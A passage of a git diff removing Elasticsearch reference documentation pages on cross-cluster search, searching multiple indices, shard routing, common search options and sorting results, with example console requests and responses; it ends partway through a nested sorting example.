-Because {ccs} involves sending requests to remote clusters, any network delays
-can impact search speed. To avoid slow searches, {ccs} offers two options for
-handling network delays:
-
-<<ccs-min-roundtrips,Minimize network roundtrips>>::
-By default, {es} reduces the number of network roundtrips between remote
-clusters. This reduces the impact of network delays on search speed. However,
-{es} can't reduce network roundtrips for large search requests, such as those
-including a <<scroll-search-results, scroll>> or
-<<inner-hits,inner hits>>.
-+
-See <<ccs-min-roundtrips>> to learn how this option works.
-
-<<ccs-unmin-roundtrips, Don't minimize network roundtrips>>:: For search
-requests that include a scroll or inner hits, {es} sends multiple outgoing and
-ingoing requests to each remote cluster. You can also choose this option by
-setting the <<ccs-minimize-roundtrips,`ccs_minimize_roundtrips`>> parameter to
-`false`. While typically slower, this approach may work well for networks with
-low latency.
-+
-See <<ccs-unmin-roundtrips>> to learn how this option works.
-
-[discrete]
-[[ccs-min-roundtrips]]
-==== Minimize network roundtrips
-
-Here's how {ccs} works when you minimize network roundtrips.
-
-. You send a {ccs} request to your local cluster. A coordinating node in that
-cluster receives and parses the request.
-+
-image:images/ccs/ccs-min-roundtrip-client-request.svg[]
-
-. The coordinating node sends a single search request to each cluster, including
-the local cluster. Each cluster performs the search request independently,
-applying its own cluster-level settings to the request.
-+
-image:images/ccs/ccs-min-roundtrip-cluster-search.svg[]
-
-. Each remote cluster sends its search results back to the coordinating node.
-+
-image:images/ccs/ccs-min-roundtrip-cluster-results.svg[]
-
-. After collecting results from each cluster, the coordinating node returns the
-final results in the {ccs} response.
-+
-image:images/ccs/ccs-min-roundtrip-client-response.svg[]
-
-[discrete]
-[[ccs-unmin-roundtrips]]
-==== Don't minimize network roundtrips
-
-Here's how {ccs} works when you don't minimize network roundtrips.
-
-. You send a {ccs} request to your local cluster. A coordinating node in that
-cluster receives and parses the request.
-+
-image:images/ccs/ccs-min-roundtrip-client-request.svg[]
-
-. The coordinating node sends a <<search-shards,search shards>> API request to
-each remote cluster.
-+
-image:images/ccs/ccs-min-roundtrip-cluster-search.svg[]
-
-. Each remote cluster sends its response back to the coordinating node.
-This response contains information about the indices and shards the {ccs}
-request will be executed on.
-+
-image:images/ccs/ccs-min-roundtrip-cluster-results.svg[]
-
-. The coordinating node sends a search request to each shard, including those in
-its own cluster. Each shard performs the search request independently.
-+
-[WARNING]
-====
-When network roundtrips aren't minimized, the search is executed as if all data
-were in the coordinating node's cluster. We recommend updating cluster-level
-settings that limit searches, such as `action.search.shard_count.limit`,
-`pre_filter_shard_size`, and `max_concurrent_shard_requests`, to account for
-this. If these limits are too low, the search may be rejected.
-====
-+
-image:images/ccs/ccs-dont-min-roundtrip-shard-search.svg[]
-
-. Each shard sends its search results back to the coordinating node.
-+
-image:images/ccs/ccs-dont-min-roundtrip-shard-results.svg[]
-
-. After collecting results from each cluster, the coordinating node returns the
-final results in the {ccs} response.
-+
-image:images/ccs/ccs-min-roundtrip-client-response.svg[]
-
-[discrete]
-[[ccs-supported-configurations]]
-=== Supported configurations
-
-Generally, <<gateway-nodes-selection, cross cluster search>> can search remote
-clusters that are one major version ahead or behind the coordinating node's
-version. Cross cluster search can also search remote clusters that are being
-<<rolling-upgrades, upgraded>> so long as both the "upgrade from" and
-"upgrade to" version are compatible with the gateway node.
-
-For example, a coordinating node running {es} 5.6 can search a remote cluster
-running {es} 6.8, but that cluster can not be upgraded to 7.1. In this case
-you should first upgrade the coordinating node to 7.1 and then upgrade remote
-cluster.
-
-WARNING: Running multiple versions of {es} in the same cluster beyond the
-duration of an upgrade is not supported.
diff --git a/docs/reference/search/search-your-data/search-multiple-indices.asciidoc b/docs/reference/search/search-your-data/search-multiple-indices.asciidoc
deleted file mode 100644
index 473028b0dec..00000000000
--- a/docs/reference/search/search-your-data/search-multiple-indices.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[[search-multiple-indices]]
-== Search multiple data streams and indices
-
-To search multiple data streams and indices, add them as comma-separated values
-in the <<search-search,search API>>'s request path.
-
-The following request searches the `my-index-000001` and `my-index-000002`
-indices.
-
-[source,console]
-----
-GET /my-index-000001,my-index-000002/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000002\n/]
-
-You can also search multiple data streams and indices using an index pattern.
-
-The following request targets the `my-index-*` index pattern. The request
-searches any data streams or indices in the cluster that start with `my-index-`.
-
-[source,console]
-----
-GET /my-index-*/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-To search all data streams and indices in a cluster, omit the target from the
-request path. Alternatively, you can use `_all` or `*`.
-
-The following requests are equivalent and search all data streams and indices in
-the cluster.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-
-GET /_all/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-
-GET /*/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-[discrete]
-[[index-boost]]
-=== Index boost
-
-When searching multiple indices, you can use the `indices_boost` parameter to
-boost results from one or more specified indices. This is useful when hits
-coming from some indices matter more than hits from other.
-
-NOTE: You cannot use `indices_boost` with data streams.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "indices_boost": [
-    { "my-index-000001": 1.4 },
-    { "my-index-000002": 1.3 }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-Index aliases and index patterns can also be used:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "indices_boost": [
-    { "my-alias":  1.4 },
-    { "my-index*": 1.3 }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000001\/_alias\/my-alias\n/]
-
-If multiple matches are found, the first match will be used. For example, if an
-index is included in `alias1` and matches the `my-index*` pattern, a boost value
-of `1.4` is applied.
\ No newline at end of file
diff --git a/docs/reference/search/search-your-data/search-shard-routing.asciidoc b/docs/reference/search/search-your-data/search-shard-routing.asciidoc
deleted file mode 100644
index b0286986df7..00000000000
--- a/docs/reference/search/search-your-data/search-shard-routing.asciidoc
+++ /dev/null
@@ -1,184 +0,0 @@
-[[search-shard-routing]]
-== Search shard routing
-
-To protect against hardware failure and increase search capacity, {es} can store
-copies of an index's data across multiple shards on multiple nodes. When running
-a search request, {es} selects a node containing a copy of the index's data and
-forwards the search request to that node's shards. This process is known as
-_search shard routing_ or _routing_.
-
-[discrete]
-[[search-adaptive-replica]]
-=== Adaptive replica selection
-
-By default, {es} uses _adaptive replica selection_ to route search requests.
-This method selects an eligible node using <<shard-allocation-awareness,shard
-allocation awareness>> and the following criteria:
-
-* Response time of prior requests between the coordinating node
-and the eligible node
-* How long the eligible node took to run previous searches
-* Queue size of the eligible node's `search` <<modules-threadpool,threadpool>>
-
-Adaptive replica selection is designed to decrease search latency. However, you
-can disable adaptive replica selection by setting
-`cluster.routing.use_adaptive_replica_selection` to `false` using the
-<<cluster-update-settings,cluster settings API>>. If disabled, {es} routes
-search requests using a round-robin method, which may result in slower searches.
-
-[discrete]
-[[shard-and-node-preference]]
-=== Set a preference
-
-By default, adaptive replica selection chooses from all eligible nodes and
-shards. However, you may only want data from a local node or want to route
-searches to a specific node based on its hardware. Or you may want to send
-repeated searches to the same shard to take advantage of caching.
-
-To limit the set of nodes and shards eligible for a search request, use
-the search API's <<search-preference,`preference`>> query parameter.
-
-For example, the following request searches `my-index-000001` with a
-`preference` of `_local`. This restricts the search to shards on the
-local node. If the local node contains no shard copies of the index's data, the
-request uses adaptive replica selection to another eligible node
-as a fallback.
-
-[source,console]
-----
-GET /my-index-000001/_search?preference=_local
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-You can also use the `preference` parameter to route searches to specific shards
-based on a provided string. If the cluster state and selected shards
-do not change, searches using the same `preference` string are routed to the
-same shards in the same order.
-
-We recommend using a unique `preference` string, such as a user name or web
-session ID. This string cannot start with a `_`.
-
-TIP: You can use this option to serve cached results for frequently used and
-resource-intensive searches. If the shard's data doesn't change, repeated
-searches with the same `preference` string retrieve results from the same
-<<shard-request-cache,shard request cache>>. For time series use cases, such as
-logging, data in older indices is rarely updated and can be served directly from
-this cache.
-
-The following request searches `my-index-000001` with a `preference` string of
-`my-custom-shard-string`.
-
-[source,console]
-----
-GET /my-index-000001/_search?preference=my-custom-shard-string
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-NOTE: If the cluster state or selected shards change, the same `preference`
-string may not route searches to the same shards in the same order. This can
-occur for a number of reasons, including shard relocations and shard failures. A
-node can also reject a search request, which {es} would re-route to another
-node.
-
-[discrete]
-[[search-routing]]
-=== Use a routing value
-
-When you index a document, you can specify an optional
-<<mapping-routing-field,routing value>>, which routes the document to a
-specific shard.
-
-For example, the following indexing request routes a document using
-`my-routing-value`.
-
-[source,console]
-----
-POST /my-index-000001/_doc?routing=my-routing-value
-{
-  "@timestamp": "2099-11-15T13:12:00",
-  "message": "GET /search HTTP/1.1 200 1070000",
-  "user": {
-    "id": "kimchy"
-  }
-}
-----
-
-You can use the same routing value in the search API's `routing` query
-parameter. This ensures the search runs on the same shard used to index the
-document.
-
-[source,console]
-----
-GET /my-index-000001/_search?routing=my-routing-value
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-You can also provide multiple comma-separated routing values:
-
-[source,console]
-----
-GET /my-index-000001/_search?routing=my-routing-value,my-routing-value-2
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-[discrete]
-[[search-concurrency-and-parallelism]]
-=== Search concurrency and parallelism
-
-By default, {es} doesn't reject search requests based on the number of shards
-the request hits. However, hitting a large number of shards can significantly
-increase CPU and memory usage.
-
-TIP: For tips on preventing indices with large numbers of shards, see
-<<avoid-oversharding>>.
-
-You can use the `max_concurrent_shard_requests` query parameter to control
-maximum number of concurrent shards a search request can hit per node. This
-prevents a single request from overloading a cluster. The parameter defaults to
-a maximum of `5`.
-
-[source,console]
-----
-GET /my-index-000001/_search?max_concurrent_shard_requests=3
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-You can also use the `action.search.shard_count.limit` cluster setting to set a
-search shard limit and reject requests that hit too many shards. You can
-configure `action.search.shard_count.limit` using the
-<<cluster-update-settings,cluster settings API>>.
\ No newline at end of file
diff --git a/docs/reference/search/search-your-data/search-your-data.asciidoc b/docs/reference/search/search-your-data/search-your-data.asciidoc
deleted file mode 100644
index 0d72145c6a0..00000000000
--- a/docs/reference/search/search-your-data/search-your-data.asciidoc
+++ /dev/null
@@ -1,459 +0,0 @@
-[[search-your-data]]
-= Search your data
-
-[[search-query]]
-A _search query_, or _query_, is a request for information about data in
-{es} data streams or indices.
-
-You can think of a query as a question, written in a way {es} understands.
-Depending on your data, you can use a query to get answers to questions like:
-
-* What processes on my server take longer than 500 milliseconds to respond?
-* What users on my network ran `regsvr32.exe` within the last week?
-* What pages on my website contain a specific word or phrase?
-
-A _search_ consists of one or more queries that are combined and sent to {es}.
-Documents that match a search's queries are returned in the _hits_, or
-_search results_, of the response.
-
-A search may also contain additional information used to better process its
-queries. For example, a search may be limited to a specific index or only return
-a specific number of results.
-
-[discrete]
-[[run-an-es-search]]
-== Run a search
-
-You can use the <<search-search,search API>> to search and
-<<search-aggregations,aggregate>> data stored in {es} data streams or indices.
-The API's `query` request body parameter accepts queries written in
-<<query-dsl,Query DSL>>.
-
-The following request searches `my-index-000001` using a
-<<query-dsl-match-query,`match`>> query. This query matches documents with a
-`user.id` value of `kimchy`.
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-The API response returns the top 10 documents matching the query in the
-`hits.hits` property.
-
-[source,console-result]
-----
-{
-  "took": 5,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.3862942,
-    "hits": [
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "kxWFcnMByiguvud1Z8vC",
-        "_score": 1.3862942,
-        "_source": {
-          "@timestamp": "2099-11-15T14:12:12",
-          "http": {
-            "request": {
-              "method": "get"
-            },
-            "response": {
-              "bytes": 1070000,
-              "status_code": 200
-            },
-            "version": "1.1"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "source": {
-            "ip": "127.0.0.1"
-          },
-          "user": {
-            "id": "kimchy"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 5/"took": "$body.took"/]
-// TESTRESPONSE[s/"_id": "kxWFcnMByiguvud1Z8vC"/"_id": "$body.hits.hits.0._id"/]
-
-[discrete]
-[[common-search-options]]
-=== Common search options
-
-You can use the following options to customize your searches.
-
-*Query DSL* +
-<<query-dsl,Query DSL>> supports a variety of query types you can mix and match
-to get the results you want. Query types include:
-
-* <<query-dsl-bool-query,Boolean>> and other <<compound-queries,compound
-queries>>, which let you combine queries and match results based on multiple
-criteria
-* <<term-level-queries,Term-level queries>> for filtering and finding exact matches
-* <<full-text-queries,Full text queries>>, which are commonly used in search
-engines
-* <<geo-queries,Geo>> and <<shape-queries,spatial queries>>
-
-*Aggregations* +
-You can use <<search-aggregations,search aggregations>> to get statistics and
-other analytics for your search results. Aggregations help you answer questions
-like:
-
-* What's the average response time for my servers?
-* What are the top IP addresses hit by users on my network?
-* What is the total transaction revenue by customer?
-
-*Search multiple data streams and indices* +
-You can use comma-separated values and grep-like index patterns to search
-several data streams and indices in the same request. You can even boost search
-results from specific indices. See <<search-multiple-indices>>.
-
-*Paginate search results* +
-By default, searches return only the top 10 matching hits. To retrieve
-more or fewer documents, see <<paginate-search-results>>.
-
-*Retrieve selected fields* +
-The search response's `hit.hits` property includes the full document
-<<mapping-source-field,`_source`>> for each hit. To retrieve only a subset of
-the `_source` or other fields, see <<search-fields>>.
-
-*Sort search results* +
-By default, search hits are sorted by `_score`, a <<relevance-scores,relevance
-score>> that measures how well each document matches the query. To customize the
-calculation of these scores, use the
-<<query-dsl-script-score-query,`script_score`>> query. To sort search hits by
-other field values, see <<sort-search-results>>.
-
-*Run an async search* +
-{es} searches are designed to run on large volumes of data quickly, often
-returning results in milliseconds. For this reason, searches are
-_synchronous_ by default. The search request waits for complete results before
-returning a response.
-
-However, complete results can take longer for searches across
-<<frozen-indices,frozen indices>> or <<modules-cross-cluster-search,multiple
-clusters>>.
-
-To avoid long waits, you can run an _asynchronous_, or _async_, search
-instead. An <<async-search-intro,async search>> lets you retrieve partial
-results for a long-running search now and get complete results later.
-
-[discrete]
-[[search-timeout]]
-=== Search timeout
-
-By default, search requests don't time out. The request waits for complete
-results before returning a response.
-
-While <<async-search-intro,async search>> is designed for long-running
-searches, you can also use the `timeout` parameter to specify a duration you'd
-like to wait for a search to complete. If no response is received before this
-period ends, the request fails and returns an error.
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "timeout": "2s",
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-To set a cluster-wide default timeout for all search requests, configure
-`search.default_search_timeout` using the <<cluster-update-settings,cluster
-settings API>>. This global timeout duration is used if no `timeout` argument is
-passed in the request. If the global search timeout expires before the search
-request finishes, the request is cancelled using <<task-cancellation,task
-cancellation>>. The `search.default_search_timeout` setting defaults to `-1` (no
-timeout).
-
-[discrete]
-[[global-search-cancellation]]
-=== Search cancellation
-
-You can cancel a search request using the <<task-cancellation,task management
-API>>. {es} also automatically cancels a search request when your client's HTTP
-connection closes. We recommend you set up your client to close HTTP connections
-when a search request is aborted or times out.
-
-[discrete]
-[[track-total-hits]]
-=== Track total hits
-
-Generally the total hit count can't be computed accurately without visiting all
-matches, which is costly for queries that match lots of documents. The
-`track_total_hits` parameter allows you to control how the total number of hits
-should be tracked.
-Given that it is often enough to have a lower bound of the number of hits,
-such as "there are at least 10000 hits", the default is set to `10,000`.
-This means that requests will count the total hit accurately up to `10,000` hits.
-It is a good trade off to speed up searches if you don't need the accurate number
-of hits after a certain threshold.
-
-When set to `true` the search response will always track the number of hits that
-match the query accurately (e.g. `total.relation` will always be equal to `"eq"`
-when `track_total_hits` is set to true). Otherwise the `"total.relation"` returned
-in the `"total"` object in the search response determines how the `"total.value"`
-should be interpreted. A value of `"gte"` means that the `"total.value"` is a
-lower bound of the total hits that match the query and a value of `"eq"` indicates
-that `"total.value"` is the accurate count.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "track_total_hits": true,
-  "query": {
-    "match" : {
-      "user.id" : "elkbee"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-\... returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "timed_out": false,
-  "took": 100,
-  "hits": {
-    "max_score": 1.0,
-    "total" : {
-      "value": 2048,    <1>
-      "relation": "eq"  <2>
-    },
-    "hits": ...
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"took": 100/"took": $body.took/]
-// TESTRESPONSE[s/"max_score": 1\.0/"max_score": $body.hits.max_score/]
-// TESTRESPONSE[s/"value": 2048/"value": $body.hits.total.value/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": "$body.hits.hits"/]
-
-<1> The total number of hits that match the query.
-<2> The count is accurate (e.g. `"eq"` means equals).
-
-It is also possible to set `track_total_hits` to an integer.
-For instance the following query will accurately track the total hit count that match
-the query up to 100 documents:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "track_total_hits": 100,
-  "query": {
-    "match": {
-      "user.id": "elkbee"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The `hits.total.relation` in the response will indicate if the
-value returned in `hits.total.value` is accurate (`"eq"`) or a lower
-bound of the total (`"gte"`).
-
-For instance the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "timed_out": false,
-  "took": 30,
-  "hits": {
-    "max_score": 1.0,
-    "total": {
-      "value": 42,         <1>
-      "relation": "eq"     <2>
-    },
-    "hits": ...
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"took": 30/"took": $body.took/]
-// TESTRESPONSE[s/"max_score": 1\.0/"max_score": $body.hits.max_score/]
-// TESTRESPONSE[s/"value": 42/"value": $body.hits.total.value/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": "$body.hits.hits"/]
-
-<1> 42 documents match the query
-<2> and the count is accurate (`"eq"`)
-
-\... indicates that the number of hits returned in the `total`
-is accurate.
-
-If the total number of hits that match the query is greater than the
-value set in `track_total_hits`, the total hits in the response
-will indicate that the returned value is a lower bound:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "hits": {
-    "max_score": 1.0,
-    "total": {
-      "value": 100,         <1>
-      "relation": "gte"     <2>
-    },
-    "hits": ...
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:response is already tested in the previous snippet]
-
-<1> There are at least 100 documents that match the query
-<2> This is a lower bound (`"gte"`).
-
-If you don't need to track the total number of hits at all you can improve query
-times by setting this option to `false`:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "track_total_hits": false,
-  "query": {
-    "match": {
-      "user.id": "elkbee"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-\... returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "timed_out": false,
-  "took": 10,
-  "hits": {             <1>
-    "max_score": 1.0,
-    "hits": ...
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"took": 10/"took": $body.took/]
-// TESTRESPONSE[s/"max_score": 1\.0/"max_score": $body.hits.max_score/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": "$body.hits.hits"/]
-
-<1> The total number of hits is unknown.
-
-Finally you can force an accurate count by setting `"track_total_hits"`
-to `true` in the request.
-
-[discrete]
-[[quickly-check-for-matching-docs]]
-=== Quickly check for matching docs
-
-If you only want to know if there are any documents matching a
-specific query, you can set the `size` to `0` to indicate that we are not
-interested in the search results. You can also set `terminate_after` to `1`
-to indicate that the query execution can be terminated whenever the first
-matching document was found (per shard).
-
-[source,console]
---------------------------------------------------
-GET /_search?q=user.id:elkbee&size=0&terminate_after=1
---------------------------------------------------
-// TEST[setup:my_index]
-
-NOTE: `terminate_after` is always applied **after** the
-<<post-filter,`post_filter`>> and stops the query as well as the aggregation
-executions when enough hits have been collected on the shard. Though the doc
-count on aggregations may not reflect the `hits.total` in the response since
-aggregations are applied **before** the post filtering.
-
-The response will not contain any hits as the `size` was set to `0`. The
-`hits.total` will be either equal to `0`, indicating that there were no
-matching documents, or greater than `0` meaning that there were at least
-as many documents matching the query when it was early terminated.
-Also if the query was terminated early, the `terminated_early` flag will
-be set to `true` in the response.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 3,
-  "timed_out": false,
-  "terminated_early": true,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": null,
-    "hits": []
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 3/"took": $body.took/]
-
-
-The `took` time in the response contains the milliseconds that this request
-took for processing, beginning quickly after the node received the query, up
-until all search related work is done and before the above JSON is returned
-to the client. This means it includes the time spent waiting in thread pools,
-executing a distributed search across the whole cluster and gathering all the
-results.
-
-include::collapse-search-results.asciidoc[]
-include::filter-search-results.asciidoc[]
-include::highlighting.asciidoc[]
-include::long-running-searches.asciidoc[]
-include::near-real-time.asciidoc[]
-include::paginate-search-results.asciidoc[]
-include::retrieve-inner-hits.asciidoc[]
-include::retrieve-selected-fields.asciidoc[]
-include::search-across-clusters.asciidoc[]
-include::search-multiple-indices.asciidoc[]
-include::search-shard-routing.asciidoc[]
-include::sort-search-results.asciidoc[]
diff --git a/docs/reference/search/search-your-data/sort-search-results.asciidoc b/docs/reference/search/search-your-data/sort-search-results.asciidoc
deleted file mode 100644
index 25af92c7d63..00000000000
--- a/docs/reference/search/search-your-data/sort-search-results.asciidoc
+++ /dev/null
@@ -1,640 +0,0 @@
-[[sort-search-results]]
-== Sort search results
-
-Allows you to add one or more sorts on specific fields. Each sort can be
-reversed as well. The sort is defined on a per field level, with special
-field name for `_score` to sort by score, and `_doc` to sort by index order.
-
-Assuming the following index mapping:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "post_date": { "type": "date" },
-      "user": {
-        "type": "keyword"
-      },
-      "name": {
-        "type": "keyword"
-      },
-      "age": { "type": "integer" }
-    }
-  }
-}
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "sort" : [
-    { "post_date" : {"order" : "asc"}},
-    "user",
-    { "name" : "desc" },
-    { "age" : "desc" },
-    "_score"
-  ],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-NOTE: `_doc` has no real use-case besides being the most efficient sort order.
-So if you don't care about the order in which documents are returned, then you
-should sort by `_doc`. This especially helps when <<scroll-search-results,scrolling>>.
-
-[discrete]
-=== Sort Values
-
-The sort values for each document returned are also returned as part of
-the response.
-
-[discrete]
-=== Sort Order
-
-The `order` option can have the following values:
-
-[horizontal]
-`asc`:: Sort in ascending order
-`desc`:: Sort in descending order
-
-The order defaults to `desc` when sorting on the `_score`, and defaults
-to `asc` when sorting on anything else.
-
-[discrete]
-=== Sort mode option
-
-Elasticsearch supports sorting by array or multi-valued fields. The `mode` option
-controls what array value is picked for sorting the document it belongs
-to. The `mode` option can have the following values:
-
-[horizontal]
-`min`:: Pick the lowest value.
-`max`:: Pick the highest value.
-`sum`:: Use the sum of all values as sort value. Only applicable for
-        number based array fields.
-`avg`:: Use the average of all values as sort value. Only applicable
-        for number based array fields.
-`median`:: Use the median of all values as sort value.  Only applicable
-           for number based array fields.
-
-The default sort mode in the ascending sort order is `min` -- the lowest value
-is picked. The default sort mode in the descending order is `max` --
-the highest value is picked.
-
-[discrete]
-==== Sort mode example usage
-
-In the example below the field price has multiple prices per document.
-In this case the result hits will be sorted by price ascending based on
-the average price per document.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_doc/1?refresh
-{
-   "product": "chocolate",
-   "price": [20, 4]
-}
-
-POST /_search
-{
-   "query" : {
-      "term" : { "product" : "chocolate" }
-   },
-   "sort" : [
-      {"price" : {"order" : "asc", "mode" : "avg"}}
-   ]
-}
---------------------------------------------------
-
-[discrete]
-=== Sorting numeric fields
-
-For numeric fields it is also possible to cast the values from one type
-to another using the `numeric_type` option.
-This option accepts the following values: [`"double", "long", "date", "date_nanos"`]
-and can be useful for searches across multiple data streams or indices where the sort field is mapped differently.
-
-Consider for instance these two indices:
-
-[source,console]
---------------------------------------------------
-PUT /index_double
-{
-  "mappings": {
-    "properties": {
-      "field": { "type": "double" }
-    }
-  }
-}
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-PUT /index_long
-{
-  "mappings": {
-    "properties": {
-      "field": { "type": "long" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Since `field` is mapped as a `double` in the first index and as a `long`
-in the second index, it is not possible to use this field to sort requests
-that query both indices by default. However you can force the type to one
-or the other with the `numeric_type` option in order to force a specific
-type for all indices:
-
-[source,console]
---------------------------------------------------
-POST /index_long,index_double/_search
-{
-   "sort" : [
-      {
-        "field" : {
-            "numeric_type" : "double"
-        }
-      }
-   ]
-}
---------------------------------------------------
-// TEST[continued]
-
-In the example above, values for the `index_long` index are casted to
-a double in order to be compatible with the values produced by the
-`index_double` index.
-It is also possible to transform a floating point field into a `long`
-but note that in this case floating points are replaced by the largest
-value that is less than or equal (greater than or equal if the value
-is negative) to the argument and is equal to a mathematical integer.
-
-This option can also be used to convert a `date` field that uses millisecond
-resolution to a `date_nanos` field with nanosecond resolution.
-Consider for instance these two indices:
-
-[source,console]
---------------------------------------------------
-PUT /index_double
-{
-  "mappings": {
-    "properties": {
-      "field": { "type": "date" }
-    }
-  }
-}
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-PUT /index_long
-{
-  "mappings": {
-    "properties": {
-      "field": { "type": "date_nanos" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Values in these indices are stored with different resolutions so sorting on these
-fields will always sort the `date` before the `date_nanos` (ascending order).
-With the `numeric_type` type option it is possible to set a single resolution for
-the sort, setting to `date` will convert the `date_nanos` to the millisecond resolution
-while `date_nanos` will convert the values in the `date` field to the nanoseconds resolution:
-
-[source,console]
---------------------------------------------------
-POST /index_long,index_double/_search
-{
-   "sort" : [
-      {
-        "field" : {
-            "numeric_type" : "date_nanos"
-        }
-      }
-   ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[WARNING]
-To avoid overflow, the conversion to `date_nanos` cannot be applied on dates before
-1970 and after 2262 as nanoseconds are represented as longs.
-
-[discrete]
-[[nested-sorting]]
-=== Sorting within nested objects.
-
-Elasticsearch also supports sorting by
-fields that are inside one or more nested objects. The sorting by nested
-field support has a `nested` sort option with the following properties:
-
-`path`::
-    Defines on which nested object to sort. The actual
-    sort field must be a direct field inside this nested object.
-    When sorting by nested field, this field is mandatory.
-
-`filter`::
-    A filter that the inner objects inside the nested path
-    should match with in order for its field values to be taken into account
-    by sorting. Common case is to repeat the query / filter inside the
-    nested filter or query. By default no `nested_filter` is active.
-`max_children`::
-    The maximum number of children to consider per root document
-    when picking the sort value. Defaults to unlimited.
-`nested`::
-    Same as top-level `nested` but applies to another nested path within the
-    current nested object.
-
-[WARNING]
-.Nested sort options before Elasticsearch 6.1
-============================================
-
-The `nested_path` and `nested_filter` options have been deprecated in
-favor of the options documented above.
-
-============================================
-
-[discrete]
-==== Nested sorting examples
-
-In the below example `offer` is a field of type `nested`.
-The nested `path` needs to be specified; otherwise, Elasticsearch doesn't know on what nested level sort values need to be captured.
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-   "query" : {
-      "term" : { "product" : "chocolate" }
-   },
-   "sort" : [
-       {
-          "offer.price" : {
-             "mode" :  "avg",
-             "order" : "asc",
-             "nested": {
-                "path": "offer",
-                "filter": {
-                   "term" : { "offer.color" : "blue" }
-                }
-             }
-          }
-       }
-    ]
-}
---------------------------------------------------
-
-In the below example `parent` and `child` fields are of type `nested`.
-The `nested_path` needs to be specified at each level; otherwise, Elasticsearch doesn't know on what nested level sort values need to be captured.
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-   "query": {
-      "nested": {
-         "path": "parent",
-         "query": {
-            "bool": {
-                "must": {"range": {"parent.age": {"gte": 21}}},
-                "filter": {
-                    "nested": {
-                        "path": "parent.child",
-                        "query": {"match": {"parent.child.name": "matt"}}
-                    }
-                }
-            }
-         }
-      }
-   },
-   "sort" : [
-      {
-         "parent.child.age" : {
-            "mode" :  "min",
-            "order" : "asc",
-            "nested": {
